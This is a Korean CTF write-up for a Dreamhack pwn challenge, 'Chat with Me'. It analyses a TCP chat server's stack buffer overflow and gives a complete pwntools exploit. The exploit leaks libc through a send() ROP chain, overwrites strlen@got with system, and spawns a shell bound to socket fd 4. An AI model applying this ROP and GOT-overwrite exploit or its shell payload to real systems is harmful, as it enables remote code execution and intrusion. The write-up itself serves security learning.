[PWN] Chat with Me Write-Up

Magnolia·5일 전

보호 기법

코드 분석

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  size_t v4; // rax
  size_t v5; // rax
  _QWORD buf[97]; // [rsp+0h] [rbp-340h] BYREF
  int optval; // [rsp+308h] [rbp-38h] BYREF
  socklen_t addr_len; // [rsp+30Ch] [rbp-34h] BYREF
  sockaddr addr; // [rsp+310h] [rbp-30h] BYREF
  char *format; // [rsp+320h] [rbp-20h]
  int v12; // [rsp+32Ch] [rbp-14h]
  int v13; // [rsp+330h] [rbp-10h]
  int fd; // [rsp+334h] [rbp-Ch]
  char *s; // [rsp+338h] [rbp-8h]

  addr_len = 16;
  optval = 1;
  memset(buf, 0, 768);
  s = "Welcome to the TCP Chat Server!\n";
  v3 = time(0);
  srand(v3);
  fd = socket(2, 1, 0);
  if ( !fd )
  {
    perror("Socket failed");
    exit(1);
  }
  if ( setsockopt(fd, 1, 2, &optval, 4u) )
  {
    perror("setsockopt failed");
    close(fd);
    exit(1);
  }
  addr.sa_family = 2;
  *(_DWORD *)&addr.sa_data[2] = 0;
  *(_WORD *)addr.sa_data = htons(0x7A69u);
  if ( bind(fd, &addr, 0x10u) < 0 )
  {
    perror("Bind failed");
    close(fd);
    exit(1);
  }
  if ( listen(fd, 5) < 0 )
  {
    perror("Listen failed");
    close(fd);
    exit(1);
  }
  printf("Server is listening on port %d\n", 31337);
  v13 = accept(fd, &addr, &addr_len);
  if ( v13 < 0 )
  {
    perror("Accept failed");
    close(fd);
    exit(1);
  }
  v4 = strlen(s);
  send(v13, s, v4, 0);
  puts("Welcome message sent to client.");
  while ( 1 )
  {
    memset(buf, 0, 0x300u);
    v12 = read(v13, buf, 0x600u);
    if ( v12 <= 0 )
      break;
    if ( !strncmp((const char *)buf, "/quit\n", 6u) )
      return 0;
    printf("Client: %s", (const char *)buf);
    printf("Server: ");
    sleep(2u);
    format = off_4040E0[rand() % 0x14uLL];
    printf(format);
    v5 = strlen(format);
    send(v13, format, v5, 0);
  }
  puts("Client disconnected.");
  return 0;
}

단순한 TCP 채팅 서버이다.

  • accept()로 클라이언트 하나를 받음
  • 클라이언트 입력을 읽음
  • 랜덤한 문장을 하나 골라 다시 클라이언트에게 보냄
  • /quit이 오면 main 종료

여기서 read(v13, buf, 0x600)에서 BOF가 발생한다.


익스플로잇

함수 프레임은 다음과 같다.

-0000000000000340     _QWORD buf;
-0000000000000338     _QWORD var_338;
-0000000000000330     _BYTE var_330;
...
-0000000000000014     _DWORD var_14;
-0000000000000010     int var_10;
-000000000000000C     int fd;
-0000000000000008     char *s;
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
  • buf = rbp - 0x340
  • v13 = rbp - 0x10
  • Saved RIP = rbp + 8

따라서 중요한 오프셋은 두 개이다.

  • buf -> v13 = 0x330
  • buf -> saved RIP = 0x348

즉 버퍼 0x330을 더미로 채우고 v13을 4로, fd 더미4바이트, C더미 8바이트, D더미 8바이트로 채우고 return address에 ROP chain을 박을 수 있다.

여기서 v13을 4로 맞춰줘야한다. 이 프로그램은 3을 listening socket, 4를 accepted client socket으로 잡기 때문에 이후 send()와 read()를 계속 소켓에 대해 호출하려면 v13이 깨지면 안된다.

또 payload를 보냈다고 바로 ret하지 않는다. 함수가 루프 안에 있기 때문에 첫 입력으로 saved RIP를 덮고 두 번째 입력으로 /quit을 보내면 그때 return 0으로 빠지기 때문에 덮었던 RIP가 실행된다.

먼저 send(4, read@got, 8, 0)으로 read의 got주소를 leak해서 libc leak을 하고

두번째로 read(4, strlen@got, 8)을 통해 strlen@got를 system 주소로 바꾸는 got overwrite를 수행한다.

세번째로는 read(4, cmd_addr, len(cmd))로 쓰기 가능한 영역에 명령 문자열을 쓰고 strlen@plt(cmd_addr)을 호출한다.

strlen@got를 쓰는 이유는 인자가 1개라서 편하기 때문에 썼다.

cmd_addr은 0x4040e0을 썼다. 원래는 위와 같이 랜덤 응답 문자열 포인터 테이블이 있던 data 영역이지만 쓰기 가능하고 딱히 쓸일이 없어서 여기를 덮었다.

필요한 가젯들도 모두 있다.

  payload += p64(pop4)
  payload += p64(0)              # rcx = flags
  payload += p64(8)              # rdx = len
  payload += p64(e.got['read'])  # rsi = buf
  payload += p64(4)              # rdi = sockfd
  payload += p64(e.plt['send'])

첫번째로 send(4, read@got, 8, 0)를 구성하기 위해 위와 같이 페이로드를 짜고 날린다.

이후 GOT overwrite read(4, strlen@got, 8)를 위해 다음과 같이 페이로드를 짠다.

  payload += p64(pop4)
  payload += p64(0)
  payload += p64(8)
  payload += p64(e.got['strlen'])
  payload += p64(4)
  payload += p64(e.plt['read'])

여기서 system 주소를 보내면 그 값이 strlen@got를 덮는다.

이후 read(4, cmd_addr, len(cmd))를 위해 다음과 같이 페이로드를 짠다.

  payload += p64(pop4)
  payload += p64(0)
  payload += p64(len(cmd))
  payload += p64(0x4040e0)
  payload += p64(4)
  payload += p64(e.plt['read'])

마지막으로 다음과 같이 페이로드를 날리면 셸을 획득할 수 있다

  payload += p64(ret)
  payload += p64(pop_rdi)
  payload += p64(0x4040e0) # cmd_addr
  payload += p64(e.plt['strlen'])
  

전체 익스플로잇 코드

from pwn import *

p = remote('host8.dreamhack.games', 17373)
e = ELF('./chall')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')

pop4 = 0x401396
pop_rdi = 0x401399
ret = 0x40101a

sock_fd = 4
cmd_addr = 0x4040e0
cmd = b'sh <&4 >&4 2>&4\x00'

p.recvline()

payload = b'A' * 0x330
payload += p32(4)
payload += b'B' * 4
payload += b'C' * 8
payload += b'D' * 8

payload += p64(pop4)
payload += p64(0)
payload += p64(8)
payload += p64(e.got['read'])
payload += p64(sock_fd)
payload += p64(e.plt['send'])

payload += p64(pop4)
payload += p64(0)
payload += p64(8)
payload += p64(e.got['strlen'])
payload += p64(sock_fd)
payload += p64(e.plt['read'])

payload += p64(pop4)
payload += p64(0)
payload += p64(len(cmd))
payload += p64(cmd_addr)
payload += p64(sock_fd)
payload += p64(e.plt['read'])

payload += p64(ret)

payload += p64(pop_rdi)
payload += p64(cmd_addr)
payload += p64(e.plt['strlen'])

p.send(payload)

print(p.recv())

p.sendline(b'/quit')

read_leak = u64(p.recvn(8))
libc_base = read_leak - libc.sym['read']
system = libc_base + libc.sym['system']

print(f'read leak = {hex(read_leak)}')
print(f'libc base = {hex(libc_base)}')
print(f'system = {hex(system)}')

p.send(p64(system))

p.send(cmd)

p.interactive()

여기서 cmd에 b'sh <&4 >&4 2>&4\x00'와 같이 넣는 이유는 이 바이너리가 표준입출력 프로그램이 아니라 TCP 서버라서 우리가 통신하는 통로는 stdin/stdout이 아니라 소켓 fd 4이다. 따라서 셸을 띄워도 그 셸의 입출력이 fd 4에 연결되지 않으면 원격에서 명령을 넣고 결과를 받을 수 없다.

문자열을 쪼개서 보면 다음과 같다.

  • sh -> 셸
  • <&4 -> 표준입력 stdin(0)을 fd4에서 받음
  • >&4 -> 표준출력 stdout(1)을 fd4로 보냄
  • 2>&4 -> 표준에러 stderr(2)도 fd4로 보냄

이렇게 하지 않으면 셸의 입출력이 소켓이 아니라 원래 프로세스의 stdio를 보기 때문에 클라이언트에서 셸이 뜨지 않는다.

정리

TCP 서버의 스택 버퍼 오버플로우를 이용해 함수 got를 leak하고 got overwrite로 system으로 덮은 뒤 셸을 획득하는 ret2libc 문제엿다.

먼저 TCP 소켓 통신을 하는 프로그램을 가지고 익스를 해보는건 처음이라 색달랐고 오랜만에 ROP 문제를 풀어서 반가웠다

근데 너무 어려웠다

+ 그리고 정리를 너무 못한거같다

0개의 댓글